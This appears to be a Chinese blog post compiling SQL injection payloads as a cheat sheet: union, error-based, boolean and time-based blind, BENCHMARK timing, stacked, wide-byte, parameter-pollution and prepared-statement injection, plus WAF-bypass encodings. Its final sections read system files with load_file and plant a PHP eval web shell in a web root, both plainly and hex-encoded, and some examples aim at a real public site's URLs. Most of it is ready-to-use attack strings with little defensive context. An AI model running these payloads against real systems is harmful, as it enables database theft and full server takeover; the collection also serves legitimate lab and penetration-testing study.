自己收集的一些常见SQL注入方式(持续更新中,增加了无列名注入和Timing Attack注入)

目录

注入点位置及发现: 

判断输入点是否存在注入测试:

数值型:

字符型:

group_concat注入:

union注入:

limit注入:

报错注入:

布尔注入:

时间注入:

Timing Attack注入:

堆查询注入:

宽字节注入:

HTTP污染注入:

base64注入:

Cookie注入、Referer注入、UA注入、XFF注入:

预编译注入:

Handler注入(从表名查询字段名):

无列名注入:

Maria过滤information_schema注入 :

SQL绕过WAF

通过SQL语句读写文件

过狗


注入点位置及发现: 

  • GET参数注入

  • POST参数注入

  • user-agent注入

  • cookies注入

  • referer注入

  • ...

判断输入点是否存在注入测试:

  • 插入单引号

  • 数字型判断,如1' and '1'='1【目的是为了闭合原语句后方单引号】

  • ...

数值型:

1 union select 1,2,database()

字符型:

1' union select 1,2,database()

group_concat注入:

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

union注入:

1' union select 1,2,database()

limit注入:

1' union select table_name from information_schema.tables where table_schema=database() limit 0,1

报错注入:

updatexml方式:

1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))

查询数据库名称:

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)

查询表名:

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

extractvalue方式:

1 and(extractvalue(1, concat(0x7e,(select database()))))

floor方式(查询数据库):

1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

1 and(select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

查询表(以emails举例,emails十六进制编码为656d61696c73)

​1 and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

floor可以在sqli-labs的level1中复现,phpstudy测试版本为5.4.45+apache

exp:

1 and exp(~(select * from (select database())x))%23

布尔注入:

猜测数据库长度:

1 and length(database())>5

猜测数据库名第一个字符串:

1 and substr(database(),1,1)='s'

猜测数据库表第一个字符串:

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'

空格过滤查数据库名第一个字符串:

1^(ascii(substr((select(database())),1,1))=ascii('s'))

1^(ord(substr((select(database())),1,1))=ascii('s'))

空格过滤查数据库名第二个字符串:

1^(ascii(substr((select(database())),2,1))=ascii('q'))

空格过滤查表名:

1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))

1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

时间注入:

1 and if(substr(database(),1,1)='s',sleep(5),1)

Timing Attack注入:

该注入手段采自吴翰清的《白帽子讲web安全》一书中,于2011年3月27日,一位名叫TinKode的黑客在著名的安全邮件列表Full Disclosure上公布了入侵mysql.com手法,他用“盲注”的一个技巧,现称:Timing Attack,来判断漏洞的存在

在MySQL中,有一个BENCHMARK()函数,该函数用于测试函数性能的,它有两个参数:

BENCHMARK(count,expr)# 将表达式expr执行count次

我将encode('hello','ganyu')执行10000000次,共用时5.51秒

看到这里有什么想法吗?或许你可以利用BENCHMARK()函数,让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,是否就可以判断出注入语句是否执行成功?

比如判断库名的第一个字母是否为CHAR(119),即小写的w。如果判断结果为真,则会通过BENCHMARK()函数造成较长延时;如果不为真,则该语句将很快执行完

select if(substring(1,1)!=char(119),benchmark(1000000,encode('hello','ganyu')),null) from (select database()) as gy1;

下图分别展示了执行成功(上)和执行失败(下) 两条查询语句,你会发现两者之间执行时间差距非常大

堆查询注入:

1;select if(substr(database(),1,1)='s',sleep(5),1)

1;show databases;

宽字节注入:

1%df' union select 1,2,database()

HTTP污染注入:

假设有一个通过GET方式提交的参数"id",可以重复构造这个参数并发送出去:

?id=-1&id=2

使用的框架不同(PHP,Java,ASP.NET)参数字符串也会以不同的方式进行解析,比如在Apache/PHP的实验环境下,如果多次注入同一个参数值,只有最后一个参数值会被框架解析,但是只有第一个参数会经过WAF的分析和过滤

https://www.baidu.com/?id=-1&id=1 union select 1,2,database()

base64注入:

https://www.baidu.com?id=MSBhbmQgMCB1bmlvbiBzZWxlY3QgMSwyLDM=

Cookie注入、Referer注入、UA注入、XFF注入:

手法略过,只是注入点不同

预编译注入:

 1';use sqli;set @sql=concat('se','lect `字段` from `表名`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#

Handler注入(从表名查询字段名):

1';show tables;handler `FlagHere` open;handler `FlagHere` read first;#

无列名注入:

select b from (select 1,2,3 as b union select * from 表)a

Maria过滤information_schema注入 :

在Maria下mysql.innodb_table_stats可代替information_schema查表名


SQL绕过WAF

大小写绕过

1 and 0 Union select 1,2,database()

双写绕过

1 and 0 uunionnion select 1,2,database()

编码绕过

1 and 0 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 select 1,2,database()

通过十六进制过滤绕过

1 and 0 union selec\x74 1,2,database()
1 and 0 unio\x6e select 1,2,database()

空格过滤

1/**/and/**/0/**/union/**/select/**/1,2,database()

内敛注释绕过

1 /*!and*/ 1=2

1/*%!"/*/order/*%!"/*/by 3

union/*233*/select/*233*/1,2,database()


通过SQL语句读写文件

注:在mysql用户拥有file权限时,拥有load_file和into outfile/dumpfile进行读写

读取

1 union select load_file('/etc/hosts')

绕过单引号十六进制编码

1 union select load_file(0x2F6574632F686F737473)

写入

1 union select '<?php @eval($_POST['ganyu']);?>' into outfile 'var/www/html/shell.php'

绕过单引号十六进制编码

1 union select unhex(0x3C3F70687020406576616C28245F504F53545B2767616E7975275D293B3F3E) into dumpfile 'var/www/html/shell.php'

过狗

  • 7
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值